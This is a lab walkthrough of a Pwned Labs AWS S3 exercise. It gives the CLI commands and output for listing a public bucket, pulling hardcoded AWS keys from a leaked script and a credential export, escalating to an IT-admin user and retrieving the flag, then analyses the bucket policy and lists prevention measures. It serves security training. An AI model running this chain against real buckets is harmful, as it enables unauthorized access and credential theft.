AWS S3 Enumeration Basics - Lab Walkthrough #
Overview #
This lab demonstrates fundamental AWS S3 enumeration techniques, credential extraction from publicly accessible buckets, and privilege escalation within AWS environments.
Learning Objectives:
- Familiarity with the AWS CLI for S3 operations
- Basic S3 enumeration and credential exfiltration techniques
- Understanding how this scenario could have been prevented
Lab Source: Pwned Labs - AWS S3 Enumeration Basics
Phase 1: Initial Reconnaissance #
Website Analysis #
Initial examination of the target website reveals no obvious vulnerabilities on the surface. However, analyzing the webpage source code reveals valuable information:
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Huge Logistics</title>
<link rel="stylesheet" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css">
</head>
<body>
<!-- partial:index.partial.html -->
<!--SHORTCUT ICONS-->
<link rel="shortcut icon" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/favicon.png">
Key Discovery: The source code reveals an S3 bucket named dev.huge-logistics.com
hosting static assets (.css file and favicon).
Direct Bucket Access Attempt #
Next, we attempt to access the S3 bucket directly via the web interface:
URL: http://dev.huge-logistics.com.s3.amazonaws.com/
It will result in the following:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>SXM95CE6T4MP3C2A</RequestId>
<HostId>
AD8phGjCBWb2EF+3xaSFFTdzG/e9nMeE1X8VciIHjQSfHAK88GCFe8XsiwfrhdF78PDtYWjY13E=
</HostId>
</Error>
Phase 2: S3 Bucket Enumeration #
AWS CLI Enumeration #
While direct web access failed, let’s try using the AWS CLI with unsigned requests:
aws s3 ls s3://dev.huge-logistics.com --no-sign-request
Result:
PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 13:00:47 5347 index.html
Success! The S3 bucket is publicly listable, revealing several directories and an index.html file.
Interesting Observation: The CLI command worked while the web interface didn’t. This suggests specific bucket policies that allow CLI operations but restrict web access.
Directory-by-Directory Enumeration #
Recursive listing attempt:
aws s3 ls s3://dev.huge-logistics.com --no-sign-request --recursive
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Individual directory attempts:
Admin Directory:
aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Migration Files Directory:
aws s3 ls s3://dev.huge-logistics.com/migration-files/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Analysis: The admin/
and migration-files/
directories are protected and don’t allow anonymous public access.
Static Directory:
aws s3 ls s3://dev.huge-logistics.com/static/ --no-sign-request
2023-10-16 11:08:26 0
2023-10-16 12:52:30 54451 logo.png
2023-10-16 12:52:30 183 script.js
Findings: Standard web assets (JS, PNG, CSS files). Worth noting for later analysis but not immediately critical.
Shared Directory:
aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 11:08:33 0
2023-10-16 11:09:01 993 hl_migration_project.zip
Critical Discovery: A zip file named hl_migration_project.zip
in the shared directory - this looks promising for credential extraction!
Phase 3: Credential Extraction #
Downloading and Analyzing the Migration Project #
Download the zip file:
aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl_migration_project.zip
Extract contents:
unzip hl_migration_project.zip
Archive: hl_migration_project.zip
inflating: migrate_secrets.ps1
Analyzing the PowerShell Script #
View the extracted file:
cat migrate_secrets.ps1
AWS Configuration
$accessKey = "AKIA****"
$secretKey = "MwGe****"
$region = "us-east-1"
# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey
# Set the AWS region
Set-DefaultAWSRegion -Region $region
# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"
# Output log file
$logFile = "upload_log.txt"
# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
$retries = 3
while ($retries -gt 0) {
try {
$result = New-SECSecret -Name $secretName -SecretString $secretValue
$logEntry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
Write-Output $logEntry
Add-Content -Path $logFile -Value $logEntry
return $true
} catch {
$retries--
Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
}
}
return $false
}
foreach ($secretNode in $xmlContent.Secrets.Secret) {
# Implementing concurrency using jobs
Start-Job -ScriptBlock {
param($secretName, $secretValue)
TryUploadSecret -secretName $secretName -secretValue $secretValue
} -ArgumentList $secretNode.Name, $secretNode.Value
}
# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job
# Retrieve and display job results
$jobs | ForEach-Object {
$result = Receive-Job -Job $_
if (-not $result) {
Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
}
# Clean up the job
Remove-Job -Job $_
}
Write-Output "Batch upload complete!"
# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps1%
Critical Information Extracted:
- AWS Access Key:
AKIA****
- AWS Secret Key:
MwGe****
- Region:
us-east-1
Additional Reconnaissance #
Verify bucket region using curl:
curl -I https://s3.amazonaws.com/dev.huge-logistics.com/
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: BF392GRC64DMNJNF
x-amz-id-2: f7W+s1GmfDTmqS48Y8lcTvUI4TPgBe6qqYM0sB8Te0HxaWSd5NMUHOsI9+5iwUx3cYApoUAqqLc=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Sun, 14 Sep 2025 20:11:41 GMT
Server: AmazonS3
Confirmation: The x-amz-bucket-region
header confirms the bucket is in us-east-1
.
Phase 4: Credential Testing and Privilege Escalation #
Configuring AWS Credentials #
Set up the first credential profile:
aws configure --profile pl_s3
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: MwGe****
Default region name [None]: us-east-1
Default output format [None]:
Verify credential validity:
aws sts get-caller-identity --profile pl_s3
{
"UserId": "AKIA****",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/pam-test"
}
Identity Confirmed: User pam-test
in AWS account 794929857501
Testing Access with Authenticated Credentials #
Attempt to access admin directory:
aws s3 ls s3://dev.huge-logistics.com/admin/ --profile pl_s3
2023-10-16 11:08:38 0
2024-12-02 09:57:44 32 flag.txt
2023-10-16 16:24:07 2425 website_transactions_export.csv
Target Located: The flag file is visible in the admin directory!
Attempt to retrieve the flag:
aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Access Denied: The pam-test
user can list the admin directory but cannot download files from it.
Exploring Migration Files Directory #
Enumerate migration files:
aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile pl_s3
2023-10-16 11:08:47 0
2023-10-16 11:09:26 1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 11:09:25 1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 11:09:27 1853 migrate_secrets.ps1
2023-10-16 14:00:13 2494 test-export.xml
Key Discovery: test-export.xml
appears to contain exported credentials!
Download the credential export:
aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml . --profile pl_s3
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
<!-- Oracle Database Credentials -->
<CredentialEntry>
<ServiceType>Oracle Database</ServiceType>
<Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
<Username>admin</Username>
<Password>Pass****</Password>
<Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
</CredentialEntry>
<!-- HP Server Credentials -->
<CredentialEntry>
<ServiceType>HP Server Cluster</ServiceType>
<Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
<Username>root</Username>
<Password>Root****</Password>
<Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
</CredentialEntry>
<!-- AWS Production Credentials -->
<CredentialEntry>
<ServiceType>AWS IT Admin</ServiceType>
<AccountID>7949****</AccountID>
<AccessKeyID>AKIA****</AccessKeyID>
<SecretAccessKey>t21E****</SecretAccessKey>
<Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
</CredentialEntry>
<!-- Iron Mountain Backup Portal -->
<CredentialEntry>
<ServiceType>Iron Mountain Backup</ServiceType>
<URL>https://backupportal.ironmountain.com</URL>
<Username>hladmin</Username>
<Password>HLPa****</Password>
<Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
</CredentialEntry>
<!-- Office 365 Admin Account -->
<CredentialEntry>
<ServiceType>Office 365</ServiceType>
<URL>https://admin.microsoft.com</URL>
<Username>[email protected]</Username>
<Password>O365****</Password>
<Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
</CredentialEntry>
<!-- Jira Admin Account -->
<CredentialEntry>
<ServiceType>Jira</ServiceType>
<URL>https://hugelogistics.atlassian.net</URL>
<Username>jira_admin</Username>
<Password>Jira****</Password>
<Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
</CredentialEntry>
</CredentialsExport>
Privilege Escalation Opportunity: The XML contains AWS IT Admin credentials - significantly more privileged than the pam-test
user!
Configuring Higher-Privilege Credentials #
Set up the IT Admin profile:
aws configure --profile pl_s3_2
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: t21E****
Default region name [None]: us-east-1
Default output format [None]:
Verify the new identity:
aws sts get-caller-identity --profile pl_s3_2
{
"UserId": "AIDA****",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/it-admin"
}
Identity Escalated: Now operating as it-admin
user with higher privileges!
Flag Capture #
Attempt flag retrieval with admin credentials:
aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3_2
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt
Success! Read the flag:
cat flag.txt
a49f****
Phase 5: Understanding the Attack Vector #
Analyzing the Bucket Policy #
Let’s examine why unauthenticated CLI requests worked while browser requests failed:
aws s3api get-bucket-policy --bucket dev.huge-logistics.com --profile pl_s3_2 \
| jq -r '.Policy | fromjson'
Bucket Policy Analysis:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicRead",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com/shared/*",
"arn:aws:s3:::dev.huge-logistics.com/index.html",
"arn:aws:s3:::dev.huge-logistics.com/static/*"
]
},
{
"Sid": "ListBucketRootAndShared",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::dev.huge-logistics.com",
"Condition": {
"StringEquals": {
"s3:delimiter": "/",
"s3:prefix": [
"",
"shared/",
"static/"
]
}
}
},
{
"Sid": "AllowAllExceptAdmin",
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::794929857501:user/it-admin",
"arn:aws:iam::794929857501:user/pam-test"
]
},
"Action": [
"s3:Get*",
"s3:List*"
],
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com",
"arn:aws:s3:::dev.huge-logistics.com/*"
]
},
{
"Sid": "ExplicitDenyAdminAccess",
"Effect": "Deny",
"Principal": {
"AWS": "arn:aws:iam::794929857501:user/pam-test"
},
"Action": "s3:*",
"Resource": "arn:aws:s3:::dev.huge-logistics.com/admin/*"
}
]
}
Key Policy Insights:
- Conditional Public Access: The
ListBucketRootAndShared
statement requires specific query parameters (s3:delimiter: "/"
and specifics3:prefix
values) - CLI vs Browser Behavior: AWS CLI automatically includes these parameters, while browsers and curl do not
- User Permissions: Both
it-admin
andpam-test
users have broad access to the bucket - Explicit Deny:
pam-test
is explicitly denied access to the/admin/*
path, explaining why privilege escalation was necessary
Key Takeaways #
Attack Chain Summary #
- Reconnaissance: Source code analysis revealed S3 bucket reference
- Enumeration: CLI-based bucket listing exposed directory structure
- Credential Extraction: Downloaded migration files containing AWS keys
- Privilege Escalation: Used higher-privilege credentials to access restricted content
- Objective Achievement: Successfully retrieved the flag from the admin directory
Prevention Strategies #
- Secure Credential Storage: Never store AWS credentials in publicly accessible locations
- Principle of Least Privilege: Implement minimal necessary permissions
- Bucket Policy Review: Regularly audit S3 bucket policies for unintended public access
- Secrets Management: Use AWS Secrets Manager or similar services for credential storage
- Access Logging: Enable CloudTrail and S3 access logging for monitoring
Technical Learning Points #
- Understanding S3 bucket policy conditions and their impact on different access methods
- The importance of proper credential lifecycle management
- How seemingly “protected” resources can be accessed through privilege escalation